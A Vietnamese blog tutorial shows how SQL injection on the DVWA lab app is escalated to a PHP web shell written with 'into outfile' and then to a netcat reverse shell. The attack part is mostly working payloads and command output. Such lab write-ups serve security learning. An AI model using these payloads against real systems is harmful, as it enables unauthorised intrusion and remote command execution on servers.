Theo dõi Top Thủ Thuật để cập nhật các Thủ Thuật mới nhất nhé!
Theo dõi
Top Thu Thuat
  • Thủ Thuật
    • Thủ Thuật Điện Thoại
    • Thủ Thuật Phần Mềm
    • Thủ Thuật internet
    • Thủ Thuật Tiện Ích
  • Network
  • Security
  • Công Nghệ
  • Kiến Thức
  • Ứng Dụng
  • Office
    • Học Word
    • Học Excel
    • Học Power Point
  • Game Offline
    • Code Game
    • Game Nhập Vai
    • Kinh Nghiệm Chơi Game
No Result
View All Result
Top Thủ Thuật
  • Thủ Thuật
    • Thủ Thuật Điện Thoại
    • Thủ Thuật Phần Mềm
    • Thủ Thuật internet
    • Thủ Thuật Tiện Ích
  • Network
  • Security
  • Công Nghệ
  • Kiến Thức
  • Ứng Dụng
  • Office
    • Học Word
    • Học Excel
    • Học Power Point
  • Game Offline
    • Code Game
    • Game Nhập Vai
    • Kinh Nghiệm Chơi Game
No Result
View All Result
Top Thủ Thuật
No Result
View All Result
Home Security

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell

Funky Boy by Funky Boy
24 Tháng Tám, 2022
in Security
0 0
0
Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
Rate this post

Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. SQL injection thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng như một vectơ để chiếm shell. Trong bài này, chúng ta sẽ khai thác một lỗ hổng SQL injection đơn giản để thực thi các lệnh và cuối cùng dịch ngược shell trên máy chủ.

sql injection shell

Mình sẽ sử dụng DVWA, một máy ảo dễ bị tấn công và Kali Linux để thực hiện cuộc tấn công. Nếu bạn là người mới sử dụng Kali, bạn nên đọc bài này để biết cách thiết lập và bảo mật Kali, để đảm bảo hệ thống của bạn đã sẵn sàng cho mọi thứ.

Nội dung

  • Tổng quan về SQL Injection
  • Bước 1: Thăm dò mục tiêu
  • Bước 2: Truy cập Shell và khai thác lệnh
  • Bước 3: Dịch ngược Shell với Netcat

Tổng quan về SQL Injection

SQL injection là một trong những lỗ hổng phổ biến nhất gặp phải trên web và cũng có thể là một trong những lỗ hổng nguy hiểm nhất. Những kẻ tấn công có thể tiêm các mã SQL độc hại vào để trích xuất thông tin nhạy cảm, sửa đổi hoặc phá hủy dữ liệu hiện có hoặc leo thang cuộc tấn công nhằm chiếm hữu máy chủ.

Có nhiều kiểu tiêm SQL khác nhau và các phương pháp tấn công khác nhau cho các hệ thống cơ sở dữ liệu khác nhau đang được sử dụng. Mặc dù kiểu tấn công này là một trong những kiểu tấn công dễ bắt đầu học nhất, nhưng bạn vẫn có thể mất vài năm để thành thạo SQL injection.

Bước 1: Thăm dò mục tiêu

Điều đầu tiên chúng ta cần làm là đăng nhập vào DVWA bằng thông tin đăng nhập mặc định, admin là tên người dùng và mật khẩu là password.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 9

Tiếp theo, chuyển đến tab “Security” ở bên trái và đặt mức bảo mật thành “low”. Điều này sẽ đảm bảo cuộc tấn công của chúng ta sẽ diễn ra suôn sẻ.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 10

Điều hướng đến trang “SQL Injection” để bắt đầu cuộc tấn công. Chúng ta có thể thấy rằng chức năng của trang là lấy ID người dùng và trả lại thông tin, trong trường hợp này là họ và tên.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 11

Mình  muốn xác minh rằng đầu vào này thực sự dễ bị tiêm SQL. Điều đầu tiên cần thử là chỉ cần nhập một dấu ngoặc kép duy nhất, điều này sẽ đóng câu lệnh nếu hệ thống thực sự dễ bị tấn công. Và khi mình làm như vậy thì hệ thống trả về lỗi, thậm chí còn cho chúng ta biết cụ thể rằng trang web đang sử dụng MySQL làm cơ sở dữ liệu. Tại thời điểm này, rất có thể chúng ta đã tìm thấy một điểm vào dễ bị tấn công.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 12

Điều tiếp theo chúng ta cần làm là liệt kê cơ sở dữ liệu và xác định số cột đang sử dụng. Điều này sẽ cho phép chúng ta khai thác một cách đáng tin cậy lỗ hổng dựa trên union chỉ trong một chút. Để hiểu rõ hơn, chúng ta hãy xem lệnh truy vấn sẽ trông như thế nào trong quá trình gửi đầu vào bình thường:

select first_name, surname from users where user_id='';

Đây có thể là truy vấn trên backend, với first_name và surname là các cột được chọn, tổng cộng là hai cột. Nhưng chúng ta cần biết chắc chắn để lỗ hổng này hoạt động. Chúng ta có thể sử dụng order by.

Xem Thêm:  Cách tìm lỗ hổng bảo mật Website với OWASP ZAP

Mệnh đề này sẽ sắp xếp các kết quả của truy vấn theo các cột. Vì chúng ta khá chắc chắn rằng có ít nhất hai cột đang được sử dụng, nếu chúng ta sẽ sắp xếp theo thứ tự 1 hoặc 2, truy vấn sẽ thành công. Nhưng nếu chúng ta muốn order by 3 thì sao? Nếu chúng ta đúng, thì truy vấn này sẽ xuất hiện lỗi.

Gửi lần tiêm sau làm đầu vào, và nó sẽ dẫn đến lỗi. Dấu thăng được sử dụng ở đây để comment phần còn lại của truy vấn để nó không gây ra bất kỳ lỗi cú pháp bổ sung nào.

' order by 3 #

Các bạn có thể thấy rằng chúng ta thực sự gặp lỗi, vì vậy bây giờ mình biết chắc chắn rằng chỉ có hai cột đang được sử dụng.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 13

Bước 2: Truy cập Shell và khai thác lệnh

Bây giờ chúng ta đã có thêm một chút thông tin về cơ sở dữ liệu, chúng ta có thể sử dụng điều này làm lợi thế của mình để thực hiện việc tiêm SQL dựa trên union. Toán tử union được sử dụng trong SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh select, nhưng để nó hoạt động bình thường, các câu lệnh phải có cùng số cột. Đây là lý do tại sao chúng ta cần tìm hiểu backend sớm hơn.

Có rất nhiều điều chúng ta có thể làm với việc tiêm dựa trên union, nhưng trong bài này, chúng ta cần quan tâm đến việc tận dụng lỗ hổng này để chạy các lệnh hệ điều hành. Một trong những cách dễ nhất để thực hiện điều này là tải lên một shell PHP đơn giản để chuyển các lệnh của chúng ta qua.

Chúng ta cần xác định thư mục gốc của máy chủ web để tải shell. Tùy thuộc vào ứng dụng và loại máy chủ web đang sử dụng, thư mục gốc có thể khác nhau, đặc biệt nếu quản trị viên thay đổi vị trí mặc định hoặc có đủ quyền. Đối với mục đích của cuộc tấn công này, mình sẽ giả định rằng gốc web mặc định của Apache (/var/www/) đang được sử dụng với quyền ghi công khai. Thông tin về máy chủ web, bao gồm cả thư mục gốc, thường có thể được tìm thấy trong tệp “phpinfo.php”.

Chúng ta có thể sử dụng lệnh into outfile để ghi vào một tệp. Trong trường hợp này, chúng tasẽ chèn một tập lệnh PHP đơn giản để có thể chạy các lệnh hệ thống. Tập lệnh mà mình đặt tên là “cmd.php”, sẽ giống như sau:

<?php system($_GET["cmd"]); ?>

Bây giờ, chúng ta sẽ thực hiện tiêm (injection). Chúng ta sẽ cần sử dụng dấu ngoặc kép trong tập lệnh vì chúng ta cần đặt phần thứ hai của câu lệnh trong dấu nháy đơn – điều này sẽ tránh được lỗi cú pháp. Lệnh tiêm hoàn chỉnh sẽ giống như sau:

' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #

Nếu lệnh này hoạt động bình thường, chúng ta sẽ có thể truy cập shell của mình thông qua URL và bằng cách cung cấp lệnh hệ thống dưới dạng tham số. Ví dụ, whoami sẽ cung cấp cho chúng ta thông tin người dùng hiện tại.

Xem Thêm:  Kiểu Tấn công Browser In The Browser (BITB) là gì

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 14

Hoặc uname -a, sẽ cung cấp cho chúng ta thông tin về hệ thống.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 15

Nhưng việc cung cấp tất cả các lệnh này thông qua tham số URL là một việc rất chán. Chúng ta có thể tận dụng việc này để đảo ngược shell và tiến xa hơn một bước.

Bước 3: Dịch ngược Shell với Netcat

Netcat là một tiện ích mạng mạnh mẽ được sử dụng để khắc phục sự cố kết nối, nhưng nó thực sự có thể bị tin tặc sử dụng như một backdoor và như một phương pháp để chiếm quyền shell. Rất nhiều bản phân phối Linux được cài đặt tiện ích này theo mặc định, vì vậy nếu chúng ta có thể truy cập công cụ này thì game over.

Trước tiên, mình sẽ cần thiết lập trình lắng nghe trên máy cục bộ của chúng ta. Sử dụng lệnh nc cùng với -lvp để chỉ định nó lắng nghe và để đặt số cổng tương ứng.

nc -lvp 1234
listening on [any] 1234 ...

Tiếp theo, với tư cách là tham số cho shell PHP trong URL, hãy nhập lệnh sau. Nó yêu cầu máy chủ thực thi một shell (-e/bin/sh) và gửi nó trở lại máy cục bộ của chúng ta. Bạn cần đảm bảo sử dụng địa chỉ IP và cổng thích hợp.

nc 172.16.1.100 1234 -e /bin/sh

Hãy đợi một vài giây và chúng ta sẽ thấy trình nghe của chúng ta bắt được shell và mở một kết nối. Từ đây, chúng ta có thể chạy các lệnh như id, uname -a và ps.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

Giờ đây, chúng ta đã có đủ phương tiện để thực thi các lệnh trên máy chủ web từ terminal của chính chúng ta, tất cả đều xuất phát từ một lỗ hổng SQL injection đơn giản. Mình mong qua bài viết thực tế này sẽ giúp bạn tiếp thu nhiều kiến thức hơn.

Cảm ơn các bạn đã theo dõi TOP Thủ Thuật trên đây là những chia sẻ của chúng tôi về Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell. Hy vọng bài viết tại chuyên mục Security sẽ giúp ích được cho bạn. Trân trọng !!!

vote
Article Rating
ShareTweetPin
Funky Boy

Funky Boy

Tôi là Funky Boy luôn chia sẻ kiến thức về tất cả những gì liên quan đến công nghệ, như sử dụng máy tính, sử dụng điện thoại, thủ thuật để sử dụng Internet một cách hiệu quả nhất...giúp bạn có được những trải nghiệm mới thú vị và đạt được hiệu quả cao trong công việc

BÀI VIẾT LIÊN QUAN

Cách tạo Ransomware bằng Python
Security

Cách tạo Ransomware bằng Python

by Funky Boy
24 Tháng Tám, 2022
Vortimo: Extension giúp bạn truy vết thông tin trên Internet
Security

Vortimo: Extension giúp bạn truy vết thông tin trên Internet

by Funky Boy
24 Tháng Tám, 2022
Ransomware là gì? – AnonyViet
Security

Ransomware là gì? – AnonyViet

by Funky Boy
24 Tháng Tám, 2022
Hướng dẫn Hack 4G Viettel vô hạn dung lượng mới nhất
Security

Hướng dẫn Hack 4G Viettel vô hạn dung lượng mới nhất

by Funky Boy
24 Tháng Tám, 2022
Danh sách các Room Free trên Tryhackme để tập Hack
Security

Danh sách các Room Free trên Tryhackme để tập Hack

by Funky Boy
24 Tháng Tám, 2022
Cách Stress Test Website bằng cách tấn công HTTP Flood
Security

Cách Stress Test Website bằng cách tấn công HTTP Flood

by Funky Boy
24 Tháng Tám, 2022
Next Post
Tại sao Hacker thích dùng Kali Linux?

Tại sao Hacker thích dùng Kali Linux?

Subscribe
Connect with
I allow to create an account
When you login first time using a Social Login button, we collect your account public profile information shared by Social Login provider, based on your privacy settings. We also get your email address to automatically create an account for you in our website. Once your account is created, you'll be logged-in to this account.
DisagreeAgree
Notify of
guest
I allow to create an account
When you login first time using a Social Login button, we collect your account public profile information shared by Social Login provider, based on your privacy settings. We also get your email address to automatically create an account for you in our website. Once your account is created, you'll be logged-in to this account.
DisagreeAgree
guest
0 Comments
Inline Feedbacks
View all comments

Có thể bạn sẽ cần

Native app là gì? Những ưu nhược điểm nổi bật của Native app
Công Nghệ

Native app là gì? Những ưu nhược điểm nổi bật của Native app

by Funky Boy
30 Tháng Mười Một, 2022
0

Native app là gì được xem là câu hỏi được rất nhiều người quan tâm hiện nay khi tìm hiểu...

Read more

Đề xuất cho bạn

Native app là gì? Những ưu nhược điểm nổi bật của Native app

Native app là gì? Những ưu nhược điểm nổi bật của Native app

30 Tháng Mười Một, 2022
Cách Kiếm Tiền Online Cho Mẹ Bỉm Sữa Uy Tín Và Ổn Định

Cách Kiếm Tiền Online Cho Mẹ Bỉm Sữa Uy Tín Và Ổn Định

23 Tháng Mười Hai, 2022
Cách tạo Chữ ngược, chữ nghiêng, gạch dưới để đặt tên, chat

Cách tạo Chữ ngược, chữ nghiêng, gạch dưới để đặt tên, chat

8 Tháng Chín, 2022
Tạo Phòng học ảo trên Zoom bằng Immersive View

Tạo Phòng học ảo trên Zoom bằng Immersive View

8 Tháng Chín, 2022
Các lệnh nguy hiểm nhất trên Windows bạn không nên dùng

Các lệnh nguy hiểm nhất trên Windows bạn không nên dùng

8 Tháng Chín, 2022
Cách tăng FPS trong game trên Laptop

Cách tăng FPS trong game trên Laptop

8 Tháng Chín, 2022

TOP THỦ THUẬT

Top Thủ Thuật – Chia Sẻ Kiến Thức Công Nghê, Máy Tính, Phần Mềm

ĐỐI TÁC

✩ S666

✩ https://iwin68.ltd/

✩ Go88 tài xỉu

✩ IWIN

✩ VN138

✩ 789BET

✩ May 88

✩ Sunc888

✩ Sunwin tài xỉu

LIÊN KẾT

✩ QH88

✩ FAFA191

✩ Top game bài đổi thưởng 

✩ SV368

✩ IWIN88

✩ Tải IWIN86

✩ Ku fun

Thông tin liên hệ

• 247 Hàm Nghi, Mỹ Đình, Nam Từ Liêm, Hà Nội

• Email: [email protected]

• Mobile: 0878310247

• Website: https://topthuthuat.com.vn/

✩ Bong da lu

  • Giới Thiệu
  • Liên Hệ
  • Chính Sách
  • Game Bài đổi thưởng
  • 168bet
  • BK8
  • TWIN

© 2021 Top Thủ Thuật - Tải game Offline miễn phí

No Result
View All Result
  • Thủ Thuật
    • Thủ Thuật Điện Thoại
    • Thủ Thuật Phần Mềm
    • Thủ Thuật internet
    • Thủ Thuật Tiện Ích
  • Network
  • Security
  • Công Nghệ
  • Kiến Thức
  • Ứng Dụng
  • Office
    • Học Word
    • Học Excel
    • Học Power Point
  • Game Offline
    • Code Game
    • Game Nhập Vai
    • Kinh Nghiệm Chơi Game

© 2021 Top Thủ Thuật - Tải game Offline miễn phí

Welcome Back!

Login to your account below

Forgotten Password?

Create New Account!

Fill the forms bellow to register

All fields are required. Log In

Retrieve your password

Please enter your username or email address to reset your password.

Log In
wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply